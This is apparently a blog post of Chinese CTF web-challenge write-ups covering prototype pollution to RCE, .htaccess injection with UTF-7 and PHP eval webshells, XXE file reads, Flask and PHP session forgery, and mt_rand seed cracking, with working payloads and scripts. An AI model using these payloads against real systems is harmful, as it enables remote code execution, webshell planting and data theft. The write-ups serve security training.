1.原型链污染属于前端漏洞应用,基本上需要源码审计功力来进行解决;找到merge(),clone()只是确定漏洞的开始
2.进行审计需要以达成RCE为主要目的。通常exec, return等等都是值得注意的关键字。
3.题目基本是以弹shell为最终目的。目前来看很多Node.js传统弹shell方式并不适用.wget,curl,以及我两道题都用到的nc比较适用。

我们需要先绕过登录,不懂点js代码,还真看不懂这些,在index.js存在漏洞

1
'user':req.body.userid.toUpperCase()

js大小写特性

toUpperCase就是将小写转化成大写的函数,这里就利用其中的漏洞,我们注册一个名为

1
admın

的用户,因为要是admin用户才能使用clone函数。

然后我们再登陆,就可以将

1
admın经过函数处理就变成ADMIN

寻找可以污染的参数,就是没有被定义的。

1
2
3
router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})

这里的outputFunctionName就可以进行ssti注入,抓Action的包,然后修改为json类型。

最终payload:

1
{"lua":"a","__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}

最后访问/info即可下载得到flag。

[DDCTF 2019]homebrew event loop

主要考python的代码审计,果然网安,什么都要懂一些。

如何后面主要是逻辑漏洞,一般有购买的都挺多逻辑漏洞的,但是这种跟我们前面遇到的篡改数字是不一样的。

1
2
3
4
5
def get_flag_handler(args):
if session['num_items'] >= 5:
# show_flag_function has been disabled, no worries
trigger_event('func:show_flag;' + FLAG()
trigger_event('action:view;index')

我们想要获得flag就需要调用这个函数get_flag_handler。同时在execute_event_loop函数找到了eval这个函数,在函数看看要怎么利用构造我们想要的执行的代码。

1
2
3
is_action = event[0] == 'a' 
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')

看到execute_event_loop代码,这里通过#将命令分割,我们可以通过#进行多命令的执行,这样就可以执行我们想要执行的函数。

传入:

1
?action:trigger_event%23;action:buy;2%23action:buy;3%23action:get_flag;%23

同时这是flask处理的session,我们通过脚本

到kali虚拟机里,下载脚本,然后执行命令

1
python3 flask_session_cookie_manager3.py decode -c '.eJyNzU-LgkAYx_G3sjxnD9MMEQpegk2KHGnXGueJZdEMs2YmQe3PhO99vewh8ODtge_D5_cCdS3A2-9f8JGBB1Jwkgq3jfRqcozrJ3TOcLFDJVf5wtVZsDDR3feh-3H-XTS7VtrqnNGpzcVEJWx-S8WURHbpD0gGK0wOs_7jgkkxUgpHSu-QTQOXJRRrKQ4z1I8Tskah5mUovhR-kwc_L-k63jAebxspNk9ZEopidwntZ98KyoOVO24YTKt_y-aoa_CYA9W1NE1_ku4PAcl7jA.YPFNOw.HxuyEAnWbhDWtSmZafpROdM3eJI'

如果对python不是很懂的,想看看源代码分析可以参考这些师傅的

同时也有一边关于客户端session导致的安全问题的文章

[GXYCTF2019]StrongestMind

python脚本的编写。

需要使用到正则表达,还有函数eval来计算,并提交结果一千次。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import re
import requests
from time import sleep


def calculation():
s = requests.session()
url = 'http://87431464-1ee4-47b3-bf20-17da5f5341a5.node4.buuoj.cn/index.php'
match = re.compile(r"[0-9]+ [+|-] [0-9]+")#r是将双引号里面的看成原始字符串处理,+号是匹配一次或无限次前面的字符,进行预编译,有利于提高匹配速度
r = s.get(url)
for i in range(1001):
try:
str = match.findall(r.text)[0]匹配到计算表达式
# print(eval(str))
data = {"answer" : eval(str)}
r = s.post(url, data=data)
r.encoding = "utf-8"
print('{} : {}'.format(i,eval(str)))
sleep(1)#防止跳500状态码,服务端报错,需要足够的耐心,也就等个1000秒
except:
pass #添加这个是为了防止出现list index out of range,应该是有时候没匹配到,导致列表内容为空。
# print(r.text)
print(r.text)



if __name__ == '__main__':
calculation()

很好结果有跑出来,没有白等,但是正则表达式老是容易遗忘,需要找点练习练一下了。

[MRCTF2020]Ezaudit

尝试了很多都没有其他有效回显,试一下几个敏感目录,成功下载了www.zip,源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php 
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
$username = $_POST['username'];
$password = $_POST['password'];
$Private_key = $_POST['Private_key'];
if (($username == '') || ($password == '') ||($Private_key == '')) {
// 若为空,视为未填写,提示错误,并3秒后返回登录界面
header('refresh:2; url=login.html');
echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else if($Private_key != '*************' )
{
header('refresh:2; url=login.html');
echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
exit;
}

else{
if($Private_key === '************'){
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';';
$link=mysql_connect("localhost","root","root");
mysql_select_db("test",$link);
$result = mysql_query($getuser);
while($row=mysql_fetch_assoc($result)){
echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
}
}
}

}
// genarate public_key
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, (0, strlen($strings1) - 1), 1);
return $public_key;
}

//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
$Public_key = public_key();
//$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???

代码审计一下,我们需要拿到私钥,为什么还给出了公钥,就是长度不够,因为我们可以通过公钥来破解随机数种子,函数mt_rand产生的是伪随机数,伪随机的问题我们在前面有碰到过一题,差不多都是类似的。

爆破随机数序列,与前面的有点不同,但是原理一样。

1
2
3
4
5
6
7
8
9
10
11
12
13
str1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
str2='KVQP0LdJKRaV3n9D'
str3=str1[::-1]#逆序
length1=len(str1)
length2=len(str2)
r=''
for i in range(length2):
for j in range(length1):
if str2[i]==str1[j]:
r+=str(j)+' '+str(j)+' '+'0'+' '+str(length1-1)+' '
break
print(r)
#36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61

得到种子后,再破解私钥。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
mt_srand(1775196155);
//公钥
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}
//私钥
function private_key($length = 12) {

$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
echo private_key();
?>

拿到私钥,这里还有要求php版本要大于5.2.1。

[XNUCA2019Qualifier]EasyPHP

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
include_once("fl3g.php");
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nJust one chance");
?>

看起来简单明了,允许我们写入文件,但是只能写入文件名为[a-z.]*的文件,文件内容也有限制,并且文件内容最后还会加上一串字符串干扰。

最后面加上的字符串可以通过#注释符绕过,同时通过\将换行符的\转义,我们尝试写入.htaccess文件,但是文件内容被限制了,我们读一下[官方文档](PHP: php.ini 配置选项列表 - Manual)看看.htaccess还有什么功能。

解法一:

查找所有可修改范围为PHP_INI_ALLPHP_INI_PERDIR的配置项,我们可以注意到这样一个选项include_path.

控制这个选项就可以控制include的fl3g.php可以是任意目录下的某个文件,还需要控制fl3g.php,需要用到error_log这个选项,利用error_log写入log文件到/tmp/fl3g.php,再设置include_path=/tmp就可以使index.php可以包含我们想要的文件,我们通过设置include_path为不存在的文件夹即可触发报错。

但是error_log的默认的内容是htmlentities,导致我们的插入可执行的php代码,这里就需要绕过转义。

[通过设置编码绕过](https://github.com/mdsnins/ctf-writeups/blob/master/2019/Insomnihack 2019/l33t-hoster/l33t-hoster.md)

解题:

我们先写入error_log相关配置

1
2
3
4
php_value include_path "/tmp/xx/+ADw?php die(eval($_GET[2]))+ADs +AF8AXw-halt+AF8-compiler()+ADs"
php_value error_reporting 32767
php_value error_log /tmp/fl3g.php
#

其中32767是所有常量加起来的值

1
index.php?filename=.htaccess&content=php_value%20error_log%20/tmp/fl3g.php%0d%0aphp_value%20error_reporting%2032767%0d%0aphp_value%20include_path%20%22+ADw?php%20eval($_GET[1])+ADs%20+AF8AXw-halt+AF8-compiler()+ADs%22%0d%0a#%20\

再访问index.php,触发error_log写到/tmp/fl3g.php

再写入新的配置,

1
2
3
4
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value include_path "/tmp"
#

将编码设置转为UTF-7,这样shell就能够被顺利的解析出来了。

同时利用include_path将我们刚刚生成的文件给包含/tmp/fl3g

1
?filename=.htaccess&content=php_value include_path "/tmp"%0d%0aphp_value zend.multibyte 1%0d%0aphp_value zend.script_encoding "UTF-7"%0d%0a# \

最后访问,

1
index.php?2=evilcode

即可getshell。

解法二:

设置pcre的一些选项可以导致文件名判断失效,从而直接写入fl3g.php

判断条件为:if(preg_match("/[^a-z\.]/", $filename) == 1)

所以通过php_value 设置正则回朔次数来使正则匹配的结果返回为false而不是0或1,默认的回朔次数比较大,可以设成0,即可绕过前面的正则匹配,后面再通过伪协议写入一句话木马。

1
2
3
4
php_value pcre.backtrack_limit    0
php_value auto_append_file ".htaccess"
php_value pcre.jit 0
#aa<?php eval($_GET['a']);?>\
1
2
3
4
filename=php://filter/write=convert.base64-decode/resource=.htaccess&content=php_value pcre.backtrack_limit    0
php_value auto_append_file ".htaccess"
php_value pcre.jit 0
#aa<?php eval($_GET['a']);?>\

解法三

1
2
3
php_value auto_prepend_fi\
le ".htaccess"
#<?php @eval($_GET[1]); ?>\

通过\连接file绕过file正则匹配,同时通过#注释符写入一句话木马,再通过文件包含解析一句话木马,成功getshell。

1
filename=.htaccess&content=php_value%20auto_prepend_fi\%0Ale%20%22.htaccess%22%0A%23%3C%3fphp%20%40eval(%24_POST[1])%3b%20%3f%3E\

执行一次。就要重新生成一次.htaccess,多试几次就可以成功连接了。

[CISCN2019 华东南赛区]Web4

尝试伪协议读取行不通,试一下直接读取,居然可以。

抓包看一下,又是cookie通过flask session加密。

到JWT解密一下,解密得到www-data,如果要伪造flask session,我们需要得到SECRET_KEY,尝试读取

1
/proc/self/environ

发现app尝试读取一下源码

1
/app/app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'

@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'

if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)

我们只需让session中username的值为fuck即可得到flag,但是想要伪装flask session我们需要得到密钥,可以看到他的密钥生成方式

1
2
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)

又是伪随机数,函数uuid.getnode(),用于获取Mac地址并将其转换为整数。我们需要知道Mac地址,读取一下,

1
/sys/class/net/eth0/address

得到

1
02:42:ac:10:85:42

然后得出密钥

1
2
3
4
import random
random.seed(0x0242ac108542)
print(str(random.random()*233))
#61.9848256705

这里记得使用python2,因为python3他们之间保留的位数不同。

然后再使用我们前几天的脚本伪造。

1
2
python3 flask_session_cookie_manager3.py encode -s '61.9848256705' -t "{'username': b'fuck'}"
#eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.YPaPRQ.ZzgERSnKgeQMtiIU9NVbft1lJw4

修改session值后再访问/flag得到flag。

[CSAWQual 2019]Web_Unagi

—XXE注入

我们添加一个实体执行命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>CSAW2019</group>
<intro>&xxe;</intro>
</user>
</users>

存在waf,考虑编码绕过。通过utf16编码绕过,可以另存为保存设置编码,或者使用kali的命令将文件转换编码。

1
cat c.xml | iconv -f UTF-8 -t UTF-16BE > c16.xml

上传文件后即可得到flag。

[BSidesCF 2019]SVGMagic

首先了解一下SVG是什么

1
SVG是一种图像 文件格式 ,它的 英文 全称为Scalable Vector Graphics,意思为可缩放的 矢量图形 。 它是基于 XML (Extensible Markup Language),由World Wide Web Consortium( W3C )联盟进行开发的。

这题也是XXE注入,payload:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" > <!--从内存读取当前工作目录下的文件-->
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text> <!--通过改位置寻找flag -- >
</svg>

另存为xml格式,上传即可得到flag。

[HFCTF2020]BabyUpload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}
else{
$_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
$dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
} elseif ($direction === "download") {
try{
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
if(!file_exists($file_path)) {
throw new RuntimeException('file not exist');
}
header('Content-Type: application/force-download');
header('Content-Length: '.filesize($file_path));
header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
if(readfile($file_path)){
$download_result = "downloaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$download_result = $e->getMessage();
}
exit;
}
?>

代码审计后发现,想要拿到flag,必须符合两个条件:

1
2
1、$_SESSION['username'] ==='admin'
2、指定目录下存在success.txt文件。

设置了两个post提交的参数direction、attr。

首先看看当direction分别为upload和download时的功能

upload:

1
首先判断是否正常上传,如果是正常上传,则在$dir_path下拼接文件名之后再加一个_再拼接文件名的sha256的值。同时限制了目录穿越,创建相应的目录,把文件上传到目录下。

很明显upload不能实现上传success.txt文件到该目录下。

download:

1
读取文件名,并且拼接到$file_path,这里也限制了目录穿越,判断是否存在,存在就返回文件内容。

总体的思路,我们需要伪造session,并且成功上传success文件。

1
php的session默认存储文件名是sess_+PHPSESSID的值

我们要先找到PHPSESSID的为admin的值,先尝试获取一下我们当前的PHPSESSID的值代表什么。

读取当前的session默认存储文件名的内容。

1
direction=download&attr=&filename=sess_f33a3215af31bd09f6fb9dae436fffe9

返回的是

1
usernames:5:"guest";

username前面存在不可见字符,了解到[不同引擎对应的session存储方式不同](PHP中SESSION反序列化机制 | Spoock)

这里的存储方式为php_binary,我们在本地生成我们要伪造的文件

1
2
3
4
5
6
<?php
ini_set('session.serialize_handler', 'php_binary');
session_save_path("H:\\php");
session_start();

$_SESSION['username'] = 'admin';

成功生成文件,并将文件名改为sess,再输出文件经sha256处理的值

1
432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4

我们再上传文件。

1
2
3
4
5
6
7
8
9
10
11
import requests
url="http://b0f525a6-b5de-44b7-858f-78c945279423.node4.buuoj.cn/"
files={
"up_file":open('H:\php\sess','rb')
}
data={
"direction":"upload",
"attr":"",
"filename":"sess"
}
r=requests.post(url=url,data=data,files=files)

读取一下,成功返回admin,我们现在就只要创建success.txt就可以了。

我们发现文件名设置不了,注意函数file_exists,他不仅检查还包括目录,我们可以直接创建success.txt目录,再将sess上传到该目录下即可绕过判断。

1
2
3
4
5
6
7
8
9
10
11
import requests
url="http://b0f525a6-b5de-44b7-858f-78c945279423.node4.buuoj.cn/"
files={
"up_file":open('H:\php\sess','rb')
}
data={
"direction":"upload",
"attr":"success.txt",
"filename":"sess"
}
r=requests.post(url=url,data=data,files=files)

最后修改PHPSESSID的值得到flag。

[HarekazeCTF2019]Avatar Uploader 1

审计一下upload.php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
error_reporting(0);

require_once('config.php');
require_once('lib/util.php');
require_once('lib/session.php');

$session = new SecureClientSession(CLIENT_SESSION_ID, SECRET_KEY);

// check whether file is uploaded
if (!file_exists($_FILES['file']['tmp_name']) || !is_uploaded_file($_FILES['file']['tmp_name'])) {
error('No file was uploaded.');
}

// check file size
if ($_FILES['file']['size'] > 256000) {
error('Uploaded file is too large.');
}

// check file type
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$type = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);
if (!in_array($type, ['image/png'])) {
error('Uploaded file is not PNG format.');
}

// check file width/height
$size = getimagesize($_FILES['file']['tmp_name']);
if ($size[0] > 256 || $size[1] > 256) {
error('Uploaded image is too large.');
}
if ($size[2] !== IMAGETYPE_PNG) {
// I hope this never happens...
error('What happened...? OK, the flag for part 1 is: <code>' . getenv('FLAG1') . '</code>');
}

// ok
$filename = bin2hex(random_bytes(4)) . '.png';
move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_DIR . '/' . $filename);

$session->set('avatar', $filename);
flash('info', 'Your avatar has been successfully updated!');
redirect('/');

注释都给提示,突破口就在

1
2
3
4
if ($size[2] !== IMAGETYPE_PNG) {
// I hope this never happens...
error('What happened...? OK, the flag for part 1 is: <code>' . getenv('FLAG1') . '</code>');
}

首先看看函数[getimagesize](PHP: getimagesize - Manual)

1
2
3
4
5
6
7
8
getimagesize — 取得图像大小
索引 0 给出的是图像宽度的像素值
索引 1 给出的是图像高度的像素值
索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM
索引 3 给出的是一个宽度和高度的字符串,可以直接用于 HTML 的 <image> 标签
索引 bits 给出的是图像的每种颜色的位数,二进制格式
索引 channels 给出的是图像的通道值,RGB 图像默认是 3
索引 mime 给出的是图像的 MIME 信息,此信息可以用来在 HTTP Content-type 头信息中发送正确的信息,如:header("Content-type: image/jpeg");

再看看函数[finfo_file](PHP: finfo_file - Manual),由于其主要识别PNG文件十六进制的第一行信息,我们保留第一行的信息,即可绕过两个函数,得到flag。

-------------本文结束感谢您的阅读-------------

欢迎关注我的其它发布渠道